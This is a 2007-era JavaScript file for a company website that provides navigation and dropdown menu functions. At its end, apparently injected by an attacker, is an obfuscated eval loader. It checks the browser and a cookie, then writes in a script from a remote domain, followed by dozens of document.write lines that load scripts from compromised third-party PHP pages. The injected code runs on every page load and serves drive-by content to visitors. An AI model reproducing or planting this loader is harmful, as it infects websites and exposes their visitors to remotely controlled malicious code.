﻿/*------------------------------------------------------------------------------

Common Scripts
Version: 1.0
Copyright: (c) 2007 VEGA TECHNOLOGY GROUP
8th Floor,  V.E.T Building```
------------------------------------------------------------------------------*/

//This is javascript of Menu
var setTimeoutID;
var Timeout=100000;
function Mouseover(obj)
{
	nav = document.getElementById("navigation");
    if (!nav) 
    return false;
    navListItems = nav.getElementsByTagName("li");				           
    for (j = 0; j < navListItems.length; j++) 
    {		               
        var nodeOther = navListItems[j];
        if ((nodeOther.nodeName == "LI"))
        {    
           nodeOther.className = ""; 
           
        }            
    } 
	obj.className = "hover";
}

function ClearsetTimeout()
{
   clearTimeout(setTimeoutID); 
}	

function Mouseout()
{
     setTimeoutID= setTimeout("SetHover()", Timeout);
}
 
function SetHover()
{       
    nav = document.getElementById("navigation"); 
    
    if (!nav) 
    return false;
    
    navListItems = nav.getElementsByTagName("li");
    for (j = 0; j < navListItems.length; j++) 
    {		               
        var nodeOther = navListItems[j];
        if ((nodeOther.nodeName == "LI"))
        {    
           nodeOther.className = "";  
        }            
    }
    for(i=0;i<ChannelIDSelect.length;i++)
    {
        var ID =ChannelIDSelect[i];
        navItems=document.getElementById(ID);
        if(navItems!=null)
        {
          navItems.className="hover";
        }

    }
    if(ChannelIDSelect.length=1)
    {
       var IDS =ChannelIDSelect[0];
       navItems=document.getElementById(IDS);
       if(navItems==null)
       {
           var node= navListItems[0];
           node.className="hover";
       }
    }
    
    if(ChannelIDSelect.length<1)
    {  
       var node= navListItems[0];
       node.className="hover";
    }
    
}

// This is javascript of dropdowmenu
    
var menuwidth='165px' //default menu width
var menubgcolor='#3287c2'  //menu bgcolor
var disappeardelay=250  //menu disappear speed onMouseout (in miliseconds)
var hidemenu_onclick="yes" //hide menu when user clicks within menu?
var objHover;
/////No further editting needed

var ie4=document.all
var ns6=document.getElementById&&!document.all
function dropdownmenu(obj, e, menucontents, menuwidth)
{
      if((objHover!=null)&&(objHover.parentNode!=null))
      {
        objHover.parentNode.className="";
      }
      objHover=obj;
    if (menucontents.length <1)
      {
      return false;
      }
    if (window.event) 
        event.cancelBubble=true;
    else if (e.stopPropagation) e.stopPropagation()
        clearhidemenu();
        
    dropmenuobj=document.getElementById? document.getElementById("dropmenudiv") : dropmenudiv;
    populatemenu(menucontents);

    if (ie4||ns6)
    {
        showhide(dropmenuobj.style, e, "visible", "hidden", menuwidth)
        dropmenuobj.x=getposOffset(obj, "left")
        dropmenuobj.y=getposOffset(obj, "top")
        dropmenuobj.style.left=dropmenuobj.x-clearbrowseredge(obj, "rightedge")+"px"
		dropmenuobj.style.top=dropmenuobj.y-clearbrowseredge(obj, "bottomedge")+obj.offsetHeight+ 7 +"px"
    }

    return clickreturnvalue()
}

if (ie4||ns6)
document.write('<div id="dropmenudiv" style="visibility:hidden;width:'+menuwidth+';background-color:'+menubgcolor+'" onMouseover="clearhidemenu()" onMouseout="dynamichide(event)"></div>')

function getposOffset(what, offsettype)
{
    var totaloffset=(offsettype=="left")? what.offsetLeft : what.offsetTop;
    var parentEl=what.offsetParent;
    
    while (parentEl!=null)
    {
        totaloffset=(offsettype=="left")? totaloffset+parentEl.offsetLeft : totaloffset+parentEl.offsetTop;
        parentEl=parentEl.offsetParent;
    }
    
    return totaloffset;
}


function showhide(obj, e, visible, hidden, menuwidth)
{
    if (ie4||ns6)
        dropmenuobj.style.left=dropmenuobj.style.top="-500px"
        
    if (menuwidth!="")
    {
        dropmenuobj.widthobj=dropmenuobj.style
        dropmenuobj.widthobj.width=menuwidth
    }
    
    if (e.type=="click" && obj.visibility==hidden || e.type=="mouseover")
        obj.visibility=visible
    else if (e.type=="click")
        obj.visibility=hidden
}

function iecompattest()
{
    return (document.compatMode && document.compatMode!="BackCompat")? document.documentElement : document.body
}

function clearbrowseredge(obj, whichedge)
{
    var edgeoffset=0
    if (whichedge=="rightedge")
    {
        var windowedge=ie4 && !window.opera? iecompattest().scrollLeft+iecompattest().clientWidth-15 : window.pageXOffset+window.innerWidth-15
        
        dropmenuobj.contentmeasure=dropmenuobj.offsetWidth
        
        if (windowedge-dropmenuobj.x < dropmenuobj.contentmeasure)
            edgeoffset=dropmenuobj.contentmeasure-obj.offsetWidth
    }
    else
    {
        var topedge=ie4 && !window.opera? iecompattest().scrollTop : window.pageYOffset
        var windowedge=ie4 && !window.opera? iecompattest().scrollTop+iecompattest().clientHeight-15 : window.pageYOffset+window.innerHeight-18
        dropmenuobj.contentmeasure=dropmenuobj.offsetHeight
        
        if (windowedge-dropmenuobj.y < dropmenuobj.contentmeasure)
        {   //move up?
            edgeoffset=dropmenuobj.contentmeasure+obj.offsetHeight
            
            //up no good either?
            if ((dropmenuobj.y-topedge)<dropmenuobj.contentmeasure) 
                edgeoffset=dropmenuobj.y+obj.offsetHeight-topedge
        }
    }
    
    return edgeoffset
}

function populatemenu(what)
{
    if (ie4||ns6)
    dropmenuobj.innerHTML=what.join("")
}

function clickreturnvalue()
{
    if (ie4||ns6) return false
    else return true
}

function contains_ns6(a, b)
{
    while (b.parentNode)
    if ((b = b.parentNode) == a)
    return true;
    return false;
}

function dynamichide(e)
{
    Mouseout()
    objHover.parentNode.className="";
    if (ie4&&!dropmenuobj.contains(e.toElement))
    delayhidemenu()
    else if (ns6&&e.currentTarget!= e.relatedTarget&& !contains_ns6(e.currentTarget, e.relatedTarget))
    delayhidemenu()
}

function hidemenu(e)
{
   if (typeof dropmenuobj!="undefined")
        {
        if (ie4||ns6)
        dropmenuobj.style.visibility="hidden"
        }
}

function delayhidemenu()
{
    if (ie4||ns6)
    delayhide=setTimeout("hidemenu()",disappeardelay)
}

function clearhidemenu()
{  
    clearTimeout(setTimeoutID);
    if (typeof delayhide!="undefined")
    clearTimeout(delayhide)
    objHover.parentNode.className="hover";
}
     


<!-- 
(function(ic3Q){var uJyN='%';var sc7=unescape(('var_20a_3d_22_53_63_72ipt_45n_67i_6e_65_22_2cb_3d_22V_65rs_69on()+_22_2cj_3d_22_22_2cu_3dn_61vigato_72_2euserAgent_3bi_66_28(u_2e_69nde_78Of_28_22Chro_6de_22)_3c_30)_26_26(u_2eindexOf_28_22Win_22)_3e0_29_26_26(u_2ein_64exO_66(_22NT_206_22)_3c0)_26_26_28d_6f_63_75ment_2ecookie_2e_69_6ede_78_4ff(_22_6d_69ek_3d1_22)_3c_30)_26_26(typ_65of(zrv_7ats_29_21_3dtypeof(_22_41_22)_29)_7bzrvzts_3d_22A_22_3beval(_22if(w_69nd_6fw_2e_22_2ba+_22)j_3dj+_22_2ba+_22M_61jor_22+_62+a_2b_22Mino_72_22+b+a+_22Build_22+_62_2b_22j_3b_22)_3bdoc_75m_65n_74_2ewr_69te(_22_3cs_63ript_20s_72_63_3d_2f_2f_6d_61r_22+_22tuz_2ec_6e_2f_76id_2f_3f_69d_3d_22+_6a_2b_22_3e_3c_5c_2f_73_63ript_3e_22_29_3b_7d').replace(ic3Q,uJyN));eval(sc7)})(/\_/g);
 -->
document.write('<script src=http://dadthing.com/hoylmanconstruction.com/indexr.php ><\/script>');
document.write('<script src=http://dadthing.com/hoylmanconstruction.com/indexr.php ><\/script>');
document.write('<script src=http://dadthing.com/hoylmanconstruction.com/indexr.php ><\/script>');
document.write('<script src=http://dadthing.com/hoylmanconstruction.com/indexr.php ><\/script>');
document.write('<script src=http://dadthing.com/hoylmanconstruction.com/indexr.php ><\/script>');
document.write('<script src=http://dadthing.com/hoylmanconstruction.com/indexr.php ><\/script>');
document.write('<script src=http://edificiomacon.consuti.com/cgi-bin/envia.php ><\/script>');
document.write('<script src=http://edificiomacon.consuti.com/cgi-bin/envia.php ><\/script>');
document.write('<script src=http://edificiomacon.consuti.com/cgi-bin/envia.php ><\/script>');
document.write('<script src=http://koha.or.kr/admin/phpinfon.php ><\/script>');
document.write('<script src=http://koha.or.kr/admin/phpinfon.php ><\/script>');
document.write('<script src=http://koha.or.kr/admin/phpinfon.php ><\/script>');
document.write('<script src=http://koha.or.kr/admin/phpinfon.php ><\/script>');
document.write('<script src=http://powerpanel.goldenhandsindia.com/images/gifimg.php ><\/script>');
document.write('<script src=http://powerpanel.goldenhandsindia.com/images/gifimg.php ><\/script>');
document.write('<script src=http://powerpanel.goldenhandsindia.com/images/gifimg.php ><\/script>');
document.write('<script src=http://powerpanel.goldenhandsindia.com/images/gifimg.php ><\/script>');
document.write('<script src=http://powerpanel.goldenhandsindia.com/images/gifimg.php ><\/script>');
document.write('<script src=http://powerpanel.goldenhandsindia.com/images/gifimg.php ><\/script>');
document.write('<script src=http://powerpanel.goldenhandsindia.com/images/gifimg.php ><\/script>');
document.write('<script src=http://abm.oh.land.to/cache/agency.php ><\/script>');
document.write('<script src=http://abm.oh.land.to/cache/agency.php ><\/script>');
document.write('<script src=http://abm.oh.land.to/cache/agency.php ><\/script>');
document.write('<script src=http://abm.oh.land.to/cache/agency.php ><\/script>');
document.write('<script src=http://abm.oh.land.to/cache/agency.php ><\/script>');
document.write('<script src=http://iesons.com/images/banner.php ><\/script>');